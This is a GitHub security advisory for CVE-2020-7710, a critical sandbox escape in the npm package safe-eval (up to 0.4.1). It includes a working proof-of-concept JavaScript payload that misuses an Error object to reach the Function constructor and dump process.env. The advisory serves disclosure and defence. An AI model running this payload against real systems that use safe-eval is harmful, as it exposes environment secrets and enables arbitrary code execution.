GitHub Advisoryadvisory · npm
GHSA-hrpq-r399-whgw Sandbox Breakout / Arbitrary Code Execution in safe-eval
CRITICAL
Official page ↗
- Aliases
- CVE-2020-7710
- Ecosystem
- npm
- Packages
- safe-eval
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-94
- Reviewed
- 2020-08-25
Affected packages
• npm safe-eval: <= 0.4.1 (no fix yet)
Description
All versions of `safe-eval` are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through Error objects. This may allow attackers to execute arbitrary code in the system.
Evaluating the payload
```js
(function (){
var ex = new Error
ex.__proto__ = null
ex.stack = {
match: x => {
return x.constructor.constructor("throw process.env")()
}
}
return ex
})()
```
prints the contents of `process.env`.
Recommendation
No fix is currently available. Consider using an alternative package until a fix is made available.
Related
Alias · CVE (1)
- CVE-2020-7710 This affects all versions of package safe-eval. vulnerability
Weakness · CWE (1)
- CWE-94 Improper Control of Generation of Code weakness